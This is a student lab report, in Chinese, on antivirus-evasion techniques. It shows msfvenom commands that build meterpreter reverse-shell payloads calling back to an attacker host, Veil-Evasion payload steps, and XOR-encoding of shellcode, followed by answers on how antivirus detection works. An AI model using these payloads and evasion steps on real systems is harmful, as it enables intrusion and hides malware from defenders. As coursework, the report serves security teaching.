20155304 网络攻防技术 实验三 免杀原理与实践
实验内容
1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
使用上次实验产生的后门文件,放入老师提供的网址进行扫描,有48%的杀软报告病毒。
使用msf编码器
利用msfvenom -p java/meterpreter/reverse_tcp lhost=(kali ip) lport=端口号 x> 5304_backjar.jar
,生成jar文件,进行检测。
使用Veil-Evasion重新编写源代码
在Kali中安装veil,sudo apt-get install veil
在Kali的终端中启动Veil-Evasion
命令行中输入veil
,后在veil中输入命令use evasion
,
依次输入如下命令生成你的可执行文件:
use python/meterpreter/rev_tcp.py(设置payload)
set LHOST Kali的IP(设置反弹连接IP)
set LPORT 端口号(设置反弹端口)
generate
可执行文件名
检测exe文件:
利用shellcode编程实现免杀
使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=443 -f c
生成C语言的shellcode。
将其手动复制到code::blocks中运行,生成exe可执行文件。
进行免杀测试:
对shellcode进行更改
对shellcode进行异或,每一位数异或0x47
检测:
2.1.基础问题回答
(1)杀软是如何检测出恶意代码的?
基于特征码的检测:杀毒软件的病毒库记录了一些恶意软件的特征码,这些特征码由一个不大于64字节的特征串组成,根据已检测出或网络上公布的病毒,对其提取特征码,记录成病毒库,检测到程序时将程序与特征码比对即可判断是否是恶意代码。
基于行为的恶意软件检测:在程序运行的状态下(动态)对其行为进行监控,如果有敏感行为会被认为是恶意程序
(2)免杀是做什么?
对恶意软件进行处理,使其不被杀毒软件所检测。
(3)免杀的基本方法有哪些?
用MSF编码器进行一次或多次编码
veil-Evasion
shellcode
加壳
2.2.实践总结与体会
本次实验本身并不难,但虚拟机本身总是出现问题。在下次实验之前要重装虚拟机,以避免再出现束手无策的状况。在此次试验中,我了解到了病毒与杀软的大致工作原理,了解了病毒是如何进一步加工以避免被杀软检测,也让我深刻的认识到了病毒的危险与危害,应定期对电脑进行检查以查杀病毒。